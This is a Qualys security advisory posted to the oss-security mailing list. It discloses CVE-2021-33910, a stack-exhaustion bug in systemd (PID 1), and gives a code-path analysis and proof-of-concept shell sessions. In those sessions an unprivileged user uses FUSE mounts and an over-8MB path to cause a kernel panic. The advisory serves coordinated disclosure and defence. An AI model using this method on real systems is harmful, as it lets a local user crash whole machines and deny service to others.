

[Products](#)[Services](#)[Publications](#)[Resources](#)[What's new](#)

Follow @Openwall on Twitter for new release announcements and other news

[\[<prev\]](#) [\[next>\]](#) [\[thread-next>\]](#) [\[day\]](#) [\[month\]](#) [\[year\]](#) [\[list\]](#)

Date: Tue, 20 Jul 2021 12:39:48 +0000
From: Qualys Security Advisory <qsa@...lys.com>
To: "oss-security@...ts.openwall.com" <oss-security@...ts.openwall.com>
Subject: CVE-2021-33910: Denial of service (stack exhaustion) in systemd (PID 1)

Qualys Security Advisory

CVE-2021-33910: Denial of service (stack exhaustion) in systemd (PID 1)

=====
Contents
=====

Summary
Analysis
Proof of concept
Acknowledgments
Timeline

=====
Summary
=====

In 2018, while working on our exploit for CVE-2018-14634 in the Linux kernel, we accidentally discovered CVE-2018-16864 in systemd (journald); in our "System Down" advisory we wrote: "Surprised by the heavy usage of alloca() in journald, we searched for another attacker-controlled alloca() and found CVE-2018-16865".

Recently, while working on our exploit for CVE-2021-33909 in the Linux kernel, we accidentally stumbled upon CVE-2021-33910 in systemd (PID 1), another attacker-controlled alloca():

<https://wiki.sei.cmu.edu/confluence/display/c/MEM05-C.+Avoid+large+stack+allocations>

Although attackers cannot exploit this vulnerability as a "Stack Clash" to gain privileges (because the alloca()-ed buffer is fully written to), they can exploit it to crash systemd and hence the entire operating system (a kernel panic). Our proof of concept, a 10-line change in FUSE's "hello world" program, is attached to this advisory and is available at:

<https://www.qualys.com/research/security-advisories/>

To the best of our knowledge, this vulnerability was introduced in systemd v220 (April 2015) by commit 7410616c ("core: rework unit name validation and manipulation logic"), which replaced a strdup() in the heap with a strdupa() on the stack.

Note: a similar vulnerability was discovered in 2019 by Chris Coulson (<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-6454>).

=====
Analysis
=====

systemd monitors and parses the contents of /proc/self/mountinfo, and passes each mountpoint path to mount_setup_unit(), which passes it to unit_name_from_path(), which passes it to unit_name_path_escape():

```
-----
1720 static int mount_load_proc_self_mountinfo(Manager *m, bool set_flags) {
....
1727     r = libmount_parse(NULL, NULL, &table, &iter);
....
1731     for (;;) {
....
1735         r = mnt_table_next_fs(table, iter, &fs);
....
1742         path = mnt_fs_get_target(fs);
....
1751         (void) mount_setup_unit(m, device, path, options, fstype, set_flags);
-----
1644 static int mount_setup_unit(
1645     Manager *m,
1646     const char *what,
1647     const char *where,
1648     const char *options,
1649     const char *fstype,
1650     bool set_flags) {
....
1683     r = unit_name_from_path(where, ".mount", &e);
-----
512 int unit_name_from_path(const char *path, const char *suffix, char **ret) {
...
523     r = unit_name_path_escape(path, &p);
-----
380 int unit_name_path_escape(const char *f, char **ret) {
...
386     p = strdupa(f);
-----
```

At line 386, unit_name_path_escape() passes the mountpoint path to strdupa(), which is similar to strdup() but allocates memory on the stack (via alloca()), not in the heap (via malloc()).

As a result, if the total path length of this mountpoint exceeds 8MB (the default RLIMIT_STACK), then systemd crashes with a segmentation fault that also crashes the entire operating system (a kernel panic, because systemd is the "global init", PID 1).

=====
Proof of concept
=====

- First, as an unprivileged local user, we mount a basic FUSE filesystem (with FUSE's "hello world" program) to /tmp/hello/world:

```
-----
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

$ mkdir -m 0700 -p /tmp/hello/world

$ ./CVE-2021-33910-crasher /tmp/hello/world

$ grep fuse /proc/self/mountinfo | wc
 2      22      239
-----
```

- Second, we create a deep directory whose total path length exceeds 8MB and move our FUSE filesystem to this directory:

```
-----
$ ./CVE-2021-33910-crasher /tmp/hello/world /tmp
creating directories, please wait...

$ grep fuse /proc/self/mountinfo | wc
      2      22 8389099
-----

- Third, to force systemd into re-parsing /proc/self/mountinfo (which
contains our long directory path), we mount another FUSE filesystem
and therefore crash systemd and the entire operating system:

-----
$ mkdir -m 0700 -p /tmp/hello/world

$ ./CVE-2021-33910-crasher /tmp/hello/world

Kernel panic - not syncing: Attempted to kill init!
-----

- Alternatively, because systemd v248 occasionally fails to monitor
/proc/self/mountinfo (https://github.com/systemd/systemd/issues/19464)
we force systemd into auto-mounting a filesystem itself; for example,
the binfmt_misc filesystem:

-----
$ systemctl -a list-units '*binfmt_misc*'
UNIT                                LOAD    ACTIVE SUB    DESCRIPTION
proc-sys-fs-binfmt_misc.automount  loaded active waiting Arbitrary...
proc-sys-fs-binfmt_misc.mount      loaded inactive dead   Arbitrary...

$ cat /proc/sys/fs/binfmt_misc/status

Kernel panic - not syncing: Attempted to kill init!
-----
```

===== Acknowledgments =====

We thank Red Hat Product Security, systemd's developers, and the members
of linux-distros@...nwall for their work on this coordinated disclosure.
We also thank Mitre's CVE Assignment Team.

===== Timeline =====

2021-06-09: We sent our advisories for CVE-2021-33909 and CVE-2021-33910
to Red Hat Product Security (the two vulnerabilities are closely related
and the systemd-security mailing list is hosted by Red Hat).

2021-07-06: We sent our advisories, and Red Hat sent the patches they
wrote, to the linux-distros@...nwall mailing list.

2021-07-20: Coordinated Release Date (12:00 PM UTC).

View attachment "CVE-2021-33910-crasher.c" of type "text/plain" (3180 bytes)

[Powered by blists - more mailing lists](#)

Please check out the [Open Source Software Security Wiki](#), which is counterpart to this [mailing list](#).

Confused about [mailing lists](#) and their use? [Read about mailing lists on Wikipedia](#) and check out these [guidelines on proper formatting of your messages](#).

